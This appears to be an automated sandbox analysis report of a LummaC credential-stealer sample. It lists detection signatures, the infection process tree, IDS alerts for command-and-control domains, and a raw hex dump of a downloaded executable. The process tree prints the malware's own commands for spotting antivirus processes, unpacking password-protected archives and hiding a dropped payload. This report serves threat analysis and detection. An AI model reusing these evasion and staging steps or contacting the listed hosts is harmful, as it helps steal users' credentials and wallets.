Edit tour

Windows Analysis Report
Set-up.exe

Overview

General Information

Sample name:	Set-up.exe
Analysis ID:	1545453
MD5:	8ea72d1dd14d5a570d5f5a595cfd1d5d
SHA1:	95b3578c21adee532b48059d2e6d464676ac4768
SHA256:	642b22477ed760060155d8e6fc892590774ea57844694d22e47d23bb0473f10f
Tags:	exeuser-aachum
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Contains functionality to detect sleep reduction / modifications

Contains functionality to register a low level keyboard hook

Drops PE files with a suspicious file extension

Drops password protected ZIP file

Machine Learning detection for dropped file

Query firmware table information (likely to detect VMs)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes many files with high entropy

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to download and execute PE files

Contains functionality to download and launch executables

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Enables security privileges

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Suspicious Copy From or To System Directory

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Set-up.exe (PID: 3880 cmdline: "C:\Users\user\Desktop\Set-up.exe" MD5: 8EA72D1DD14D5A570D5F5A595CFD1D5D)

cmd.exe (PID: 4800 cmdline: "C:\Windows\System32\cmd.exe" /c copy Crest Crest.bat & Crest.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5660 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 2308 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 3548 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 6192 cmdline: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7112 cmdline: cmd /c md 506033 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 6432 cmdline: findstr /V "RubberBrilliantPoliceOperator" Count MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 2924 cmdline: cmd /c copy /b ..\Lil + ..\Labeled + ..\Warren + ..\Current + ..\Endless + ..\Towers + ..\Based W MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Limitations.pif (PID: 1832 cmdline: Limitations.pif W MD5: 18CE19B57F43CE0A5AF149C96AECC685)

X0JA3EDV7BU5B3IH21ST0OE852AR.exe (PID: 2884 cmdline: "C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe" MD5: CE901A874C9D157E48F83B1BE3D32AA6)

cmd.exe (PID: 5688 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 6816 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 1176 cmdline: 7z.exe e file.zip -p29586644319935208542739921766 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 3460 cmdline: 7z.exe e extracted/file_11.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4208 cmdline: 7z.exe e extracted/file_10.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6756 cmdline: 7z.exe e extracted/file_9.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6880 cmdline: 7z.exe e extracted/file_8.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 884 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6776 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 5192 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 880 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 1912 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6896 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4232 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 6844 cmdline: attrib +H "Installer.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

Installer.exe (PID: 3780 cmdline: "Installer.exe" MD5: 89A069871324D35E25922F6FB881D514)

choice.exe (PID: 4600 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: Limitations.pif W, CommandLine: Limitations.pif W, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif, NewProcessName: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif, OriginalFileName: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Crest Crest.bat & Crest.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4800, ParentProcessName: cmd.exe, ProcessCommandLine: Limitations.pif W, ProcessId: 1832, ProcessName: Limitations.pif

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Crest Crest.bat & Crest.bat, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Crest Crest.bat & Crest.bat, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Set-up.exe", ParentImage: C:\Users\user\Desktop\Set-up.exe, ParentProcessId: 3880, ParentProcessName: Set-up.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Crest Crest.bat & Crest.bat, ProcessId: 4800, ProcessName: cmd.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" , CommandLine: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Crest Crest.bat & Crest.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4800, ParentProcessName: cmd.exe, ProcessCommandLine: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" , ProcessId: 6192, ProcessName: findstr.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T15:44:32.514446+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49985	172.67.145.203	443	TCP
2024-10-30T15:44:33.660248+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49986	172.67.145.203	443	TCP
2024-10-30T15:44:43.750650+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49994	172.67.145.203	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T15:44:32.514446+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49985	172.67.145.203	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T15:44:33.660248+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49986	172.67.145.203	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T15:44:32.022745+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.6	49985	172.67.145.203	443	TCP
2024-10-30T15:44:33.190335+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.6	49986	172.67.145.203	443	TCP
2024-10-30T15:44:34.544726+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.6	49987	172.67.145.203	443	TCP
2024-10-30T15:44:35.708121+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.6	49988	172.67.145.203	443	TCP
2024-10-30T15:44:37.421979+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.6	49989	172.67.145.203	443	TCP
2024-10-30T15:44:38.811675+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.6	49990	172.67.145.203	443	TCP
2024-10-30T15:44:39.885987+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.6	49991	172.67.145.203	443	TCP
2024-10-30T15:44:41.096945+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.6	49992	172.67.145.203	443	TCP
2024-10-30T15:44:42.211836+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.6	49993	172.67.145.203	443	TCP
2024-10-30T15:44:43.297089+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.6	49994	172.67.145.203	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (goalyfeastz .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T15:44:31.379405+0100	2057085	1	Domain Observed Used for C2 Detected	192.168.2.6	64602	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (opposezmny .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T15:44:31.363808+0100	2057089	1	Domain Observed Used for C2 Detected	192.168.2.6	57632	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (seallysl .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T15:44:31.349697+0100	2057093	1	Domain Observed Used for C2 Detected	192.168.2.6	60640	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (servicedny .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T15:44:31.098506+0100	2057095	1	Domain Observed Used for C2 Detected	192.168.2.6	50901	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T15:44:39.273137+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49990	172.67.145.203	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\main\extracted\Installer.exe	Avira: detection malicious, Label: TR/Dldr.Agent.vfpsy
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Avira: detection malicious, Label: TR/Redcap.bgduw

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\Installer.exe	ReversingLabs: Detection: 91%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\main\extracted\Installer.exe

Joe Sandbox ML: detected

Source: Set-up.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49994 version: TLS 1.2

Source: Set-up.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

Directory queried: number of queries: 1001

Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: 16_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	16_2_0040367D
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: 16_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	16_2_004031DC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_00117978 FindFirstFileW,FindFirstFileW,free,	20_2_00117978
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 33_2_00E4A151 FindFirstFileExW,	33_2_00E4A151

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 20_2_0011881C free,free,GetLogicalDriveStringsW,GetLogicalDriveStringsW,free,free,free,

20_2_0011881C

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\506033\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\506033	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057085 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (goalyfeastz .site) : 192.168.2.6:64602 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057089 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (opposezmny .site) : 192.168.2.6:57632 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.6:49985 -> 172.67.145.203:443
Source: Network traffic	Suricata IDS: 2057095 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (servicedny .site) : 192.168.2.6:50901 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.6:49992 -> 172.67.145.203:443
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.6:49993 -> 172.67.145.203:443
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.6:49991 -> 172.67.145.203:443
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.6:49994 -> 172.67.145.203:443
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.6:49987 -> 172.67.145.203:443
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.6:49990 -> 172.67.145.203:443
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.6:49988 -> 172.67.145.203:443
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.6:49986 -> 172.67.145.203:443
Source: Network traffic	Suricata IDS: 2057093 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (seallysl .site) : 192.168.2.6:60640 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.6:49989 -> 172.67.145.203:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49986 -> 172.67.145.203:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49986 -> 172.67.145.203:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49990 -> 172.67.145.203:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49985 -> 172.67.145.203:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49985 -> 172.67.145.203:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49994 -> 172.67.145.203:443

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe

Code function: 33_2_00E41280 std::_Xinvalid_argument,GetTickCount,GetTickCount,Sleep,GetTickCount,GetModuleHandleW,GetSystemInfo,FindResourceW,LoadResource,URLDownloadToFileA,ShellExecuteA,GetProcAddress,LockResource,GetProcAddress,Concurrency::cancel_current_task,

33_2_00E41280

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 14:44:44 GMTContent-Type: application/octet-streamContent-Length: 3125704Last-Modified: Tue, 20 Aug 2024 12:02:17 GMTConnection: keep-aliveETag: "66c485c9-2fb1c8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 58 05 30 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 d4 4e 00 00 00 00 00 00 00 00 00 00 c0 75 2f 00 08 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d4 4e 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 14:44:44 GMTContent-Type: application/octet-streamContent-Length: 3125704Last-Modified: Tue, 20 Aug 2024 12:02:17 GMTConnection: keep-aliveETag: "66c485c9-2fb1c8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 58 05 30 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 d4 4e 00 00 00 00 00 00 00 00 00 00 c0 75 2f 00 08 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d4 4e 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 